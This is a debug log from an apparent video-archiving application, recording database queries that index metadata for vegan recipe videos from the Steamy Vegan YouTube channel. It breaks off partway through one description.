[debug] QUERY OK source="media_items" db=1.8ms idle=9.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-10-14 00:00:00Z], 1] 20:31:08.791 [debug] QUERY OK source="media_items" db=1.2ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make this scrumptious tomato soup with a twist - BUTTERNUT BASIL TOMATO SOUP! 🍅 🌿 🍲 If you’re a lover of tomato soup then you’re going to be OBSESSED with this extra flavourful spin on a cozy classic. Vegan and GF, as always!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/butternut-bas...\n\nWant more warm and cozy meals? These other recipes might interest you!\n20 MIN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nVEGAN INDIAN BUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nVEGAN BAKED FETA TOMATO PASTA: \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nIf you enjoyed this video please give it a THUMBS UP, and SUBSCRIBE to my channel! I so appreciate your support 🧡\n\n🎵 Music by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "Dreamy + creamy BUTTERNUT BASIL TOMATO SOUP! An extra flavourful spin on a cozy classic 😌 Vegan + GF", "b76ba673-815c-42be-a6ae-e619c864f3fa", 1, [], false, "-0n3rOGDWdc", "https://www.youtube.com/watch?v=-0n3rOGDWdc", 384, "/downloads/downloads/alec/Steamy Vegan/2021-10-14 Dreamy + creamy BUTTERNUT BASIL TOMATO SOUP! An extra flavourful spin on a cozy classic 😌 Vegan + GF/Dreamy + creamy BUTTERNUT BASIL TOMATO SOUP! An extra flavourful spin on a cozy classic 😌 Vegan + GF [-0n3rOGDWdc].NA", false, false, false, 1, ~U[2021-10-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let's make this scrumptious tomato soup with a twist - BUTTERNUT BASIL TOMATO SOUP! 🍅 🌿 🍲 If you’re a lover of tomato soup then you’re going to be OBSESSED with this extra flavourful spin on a cozy classic. Vegan and GF, as always!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/butternut-bas...\n\nWant more warm and cozy meals? These other recipes might interest you!\n20 MIN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nVEGAN INDIAN BUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nVEGAN BAKED FETA TOMATO PASTA: \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nIf you enjoyed this video please give it a THUMBS UP, and SUBSCRIBE to my channel! I so appreciate your support 🧡\n\n🎵 Music by Syphax - Rose Lips - https://thmatc.co/?l=320D5393", "Dreamy + creamy BUTTERNUT BASIL TOMATO SOUP! An extra flavourful spin on a cozy classic 😌 Vegan + GF", 1, nil, false, "-0n3rOGDWdc", "https://www.youtube.com/watch?v=-0n3rOGDWdc", "/downloads/downloads/alec/Steamy Vegan/2021-10-14 Dreamy + creamy BUTTERNUT BASIL TOMATO SOUP! An extra flavourful spin on a cozy classic 😌 Vegan + GF/Dreamy + creamy BUTTERNUT BASIL TOMATO SOUP! An extra flavourful spin on a cozy classic 😌 Vegan + GF [-0n3rOGDWdc].NA", false, ~U[2021-10-14 00:00:00Z]] 20:31:08.792 [debug] QUERY OK source="sources" db=0.8ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.796 [debug] QUERY OK source="media_items" db=2.3ms queue=0.5ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-10-09 00:00:00Z], 1] 20:31:08.803 [debug] QUERY OK source="media_items" db=7.0ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make one of my NEW FAVOURITE fall meals! This Roasted Carrot, Beet & Brussels Salad is simple, sweet, and savoury and uses ingredients that you already have in your pantry. It's simply delicious and belongs in your arsenal of FALL FAVOURITES!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/roasted-carro...\n\nWant more warm and cozy meals? These other recipes might interest you!\nBUTTERNUT BASIL TOMATO SOUP: \u00A0\u00A0\u00A0•\u00A0Dreamy\u00A0+\u00A0creamy\u00A0BUTTERNUT\u00A0BASIL\u00A0TOMATO\u00A0SOU...\u00A0\u00A0\nVEGAN INDIAN BUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nVEGAN BAKED FETA TOMATO PASTA: \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nThanks for watching and please remember to LIKE + SUBSCRIBE my channel! \n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "ROASTED CARROT, BEET & BRUSSELS SALAD | Simple, sweet and savoury... your new favourite fall meal!", "fe86e828-8fa6-47af-bd0f-589d1be06e55", 1, [], false, "4yT2hTmzayE", "https://www.youtube.com/watch?v=4yT2hTmzayE", 385, "/downloads/downloads/alec/Steamy Vegan/2021-10-09 ROASTED CARROT, BEET & BRUSSELS SALAD | Simple, sweet and savoury... your new favourite fall meal!/ROASTED CARROT, BEET & BRUSSELS SALAD | Simple, sweet and savoury... your new favourite fall meal! [4yT2hTmzayE].NA", false, false, false, 1, ~U[2021-10-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let's make one of my NEW FAVOURITE fall meals! This Roasted Carrot, Beet & Brussels Salad is simple, sweet, and savoury and uses ingredients that you already have in your pantry. It's simply delicious and belongs in your arsenal of FALL FAVOURITES!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/roasted-carro...\n\nWant more warm and cozy meals? These other recipes might interest you!\nBUTTERNUT BASIL TOMATO SOUP: \u00A0\u00A0\u00A0•\u00A0Dreamy\u00A0+\u00A0creamy\u00A0BUTTERNUT\u00A0BASIL\u00A0TOMATO\u00A0SOU...\u00A0\u00A0\nVEGAN INDIAN BUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nVEGAN BAKED FETA TOMATO PASTA: \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nThanks for watching and please remember to LIKE + SUBSCRIBE my channel! \n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "ROASTED CARROT, BEET & BRUSSELS SALAD | Simple, sweet and savoury... your new favourite fall meal!", 1, nil, false, "4yT2hTmzayE", "https://www.youtube.com/watch?v=4yT2hTmzayE", "/downloads/downloads/alec/Steamy Vegan/2021-10-09 ROASTED CARROT, BEET & BRUSSELS SALAD | Simple, sweet and savoury... your new favourite fall meal!/ROASTED CARROT, BEET & BRUSSELS SALAD | Simple, sweet and savoury... your new favourite fall meal! [4yT2hTmzayE].NA", false, ~U[2021-10-09 00:00:00Z]] 20:31:08.804 [debug] QUERY OK source="sources" db=0.6ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.806 [debug] QUERY OK source="media_items" db=1.7ms idle=13.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-30 00:00:00Z], 1] 20:31:08.816 [debug] QUERY OK source="media_items" db=9.3ms idle=14.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who here is on TikTok? Have you heard of the 'baked feta pasta' that broke the internet? If you're like me and are a little late to the TikTok party... fear not! Let me teach you how to make this veganized (+ gluten-free) version of the sensational internet pasta!\n\nUsing just a handful of easy to find ingredients, this RIDICULOUSLY EASY pasta is ready in 30 minutes and smells like something out of an Italian restaurant. LET'S GOOOOOO!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/baked-feta-to...\n\nWatched my videos before? Don't forget to SUBSCRIBE to my channel! \n\nWant more simply delicious pastas? These other recipes might interest you!\nBUTTERY SAGE FETTUCCINI: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0PASTA\u00A0DINNER\u00A0|\u00A0Sage\u00A0Fettuccini\u00A0...\u00A0\u00A0\n20 MIN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nHERBY FULLY LOADED PASTA: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Veggie\u00A0Pasta\u00A0//\u00A0Easy\u00A0vegan\u00A0dinner\u00A0idea\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nMusic by MDMN - Love Angel - https://thmatc.co/?l=DEDD959C", "That viral TikTok BAKED FETA TOMATO PASTA, but VEGAN! Easy ingredients and ready in 30 minutes!", "d6614d79-3de0-49a7-8f3c-2b784aaff7f2", 1, [], false, "0x08omFb7wA", "https://www.youtube.com/watch?v=0x08omFb7wA", 386, "/downloads/downloads/alec/Steamy Vegan/2021-08-30 That viral TikTok BAKED FETA TOMATO PASTA, but VEGAN! Easy ingredients and ready in 30 minutes!/That viral TikTok BAKED FETA TOMATO PASTA, but VEGAN! Easy ingredients and ready in 30 minutes! [0x08omFb7wA].NA", false, false, false, 1, ~U[2021-08-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Who here is on TikTok? Have you heard of the 'baked feta pasta' that broke the internet? If you're like me and are a little late to the TikTok party... fear not! Let me teach you how to make this veganized (+ gluten-free) version of the sensational internet pasta!\n\nUsing just a handful of easy to find ingredients, this RIDICULOUSLY EASY pasta is ready in 30 minutes and smells like something out of an Italian restaurant. LET'S GOOOOOO!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/baked-feta-to...\n\nWatched my videos before? Don't forget to SUBSCRIBE to my channel! \n\nWant more simply delicious pastas? These other recipes might interest you!\nBUTTERY SAGE FETTUCCINI: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0PASTA\u00A0DINNER\u00A0|\u00A0Sage\u00A0Fettuccini\u00A0...\u00A0\u00A0\n20 MIN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nHERBY FULLY LOADED PASTA: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Veggie\u00A0Pasta\u00A0//\u00A0Easy\u00A0vegan\u00A0dinner\u00A0idea\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nMusic by MDMN - Love Angel - https://thmatc.co/?l=DEDD959C", "That viral TikTok BAKED FETA TOMATO PASTA, but VEGAN! Easy ingredients and ready in 30 minutes!", 1, nil, false, "0x08omFb7wA", "https://www.youtube.com/watch?v=0x08omFb7wA", "/downloads/downloads/alec/Steamy Vegan/2021-08-30 That viral TikTok BAKED FETA TOMATO PASTA, but VEGAN! Easy ingredients and ready in 30 minutes!/That viral TikTok BAKED FETA TOMATO PASTA, but VEGAN! Easy ingredients and ready in 30 minutes! [0x08omFb7wA].NA", false, ~U[2021-08-30 00:00:00Z]] 20:31:08.817 [debug] QUERY OK source="sources" db=0.6ms idle=20.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.819 [debug] QUERY OK source="media_items" db=1.9ms idle=14.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-08-24 00:00:00Z], 1] 20:31:08.821 [debug] QUERY OK source="media_items" db=1.2ms idle=15.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's ALWAYS a good time for pie! Let me show you how to make this perfect Chocolate Avocado Cream Pie that will satisfy any sweet tooth ;) The avocado is completely undetectable yet yields the PERFECT dreamy texture that you want in a cream pie!\n\nThis pie has NO refined sugar, and is vegan and gluten-free! Desserts that are sweetly indulgent tasting yet have ACTUAL nutritional benefits?? YES, PLEASE.\n\nCheck out my blog post for the full recipe + instructions!\n\nLINK: https://steamyvegan.com/chocolate-avo...\n\nMake sure to LIKE and SUBSCRIBE to my channel and never miss a steamy vegan recipe video! \n\nWant more sweet vegan treats? These other recipes might interest you!\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nQUINOA OAT BREAKFAST BARS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nLOVED this video? Don't forget to LIKE and SUBSCRIBE to Steamy Vegan Kitchen! \n\nMusic by Juju B. Goode - Day 2. Red Bean Ice Bar - https://thmatc.co/?l=F960BFBD", "Vegan chocolate pie 🥧", "e0c3c7ea-6dff-47a9-8b37-a5923a887c54", 1, [], false, "8GSEsZWhkhs", "https://www.youtube.com/watch?v=8GSEsZWhkhs", 387, "/downloads/downloads/alec/Steamy Vegan/2021-08-24 Vegan chocolate pie 🥧/Vegan chocolate pie 🥧 [8GSEsZWhkhs].NA", false, false, false, 1, ~U[2021-08-24 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "It's ALWAYS a good time for pie! Let me show you how to make this perfect Chocolate Avocado Cream Pie that will satisfy any sweet tooth ;) The avocado is completely undetectable yet yields the PERFECT dreamy texture that you want in a cream pie!\n\nThis pie has NO refined sugar, and is vegan and gluten-free! Desserts that are sweetly indulgent tasting yet have ACTUAL nutritional benefits?? YES, PLEASE.\n\nCheck out my blog post for the full recipe + instructions!\n\nLINK: https://steamyvegan.com/chocolate-avo...\n\nMake sure to LIKE and SUBSCRIBE to my channel and never miss a steamy vegan recipe video! \n\nWant more sweet vegan treats? These other recipes might interest you!\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nQUINOA OAT BREAKFAST BARS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nLOVED this video? Don't forget to LIKE and SUBSCRIBE to Steamy Vegan Kitchen! \n\nMusic by Juju B. Goode - Day 2. Red Bean Ice Bar - https://thmatc.co/?l=F960BFBD", "Vegan chocolate pie 🥧", 1, nil, false, "8GSEsZWhkhs", "https://www.youtube.com/watch?v=8GSEsZWhkhs", "/downloads/downloads/alec/Steamy Vegan/2021-08-24 Vegan chocolate pie 🥧/Vegan chocolate pie 🥧 [8GSEsZWhkhs].NA", false, ~U[2021-08-24 00:00:00Z]] 20:31:08.821 [debug] QUERY OK source="sources" db=0.5ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.823 [debug] QUERY OK source="media_items" db=1.9ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-05-29 00:00:00Z], 1] 20:31:08.825 [debug] QUERY OK source="media_items" db=1.2ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["8 INGREDIENT VEGAN + GLUTEN-FREE BLENDER BANANA PANCAKES! These happy stacks are not only HEALTHY but so thick and fluffy! You'll wonder why you never tried making pancakes in your blender before. PLUS these bad boys only take a couple minutes to whip up, you could do it before you've even had your morning coffee ;)\n\nWhat could be easier than throwing a few pantry staples into a blender? What’s more delicious than pancakes in your PJ’s on the weekend? Oh, that’s right… nothing and NOTHING! No flour, no refined sugar, no dairy, no problem!\n\nCheck out my blog post for the full recipe + instructions!\n\nLINK: https://steamyvegan.com/8-ingredient-...\n\nWant more quick and delicious breakfast ideas? These other recipes might interest you!\nPumpkin Spice Chocolate Chip Mini Scones: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nQuinoa Oat Breakfast Bars 3 Ways: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\nMy Fave Quick Breakfasts: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, 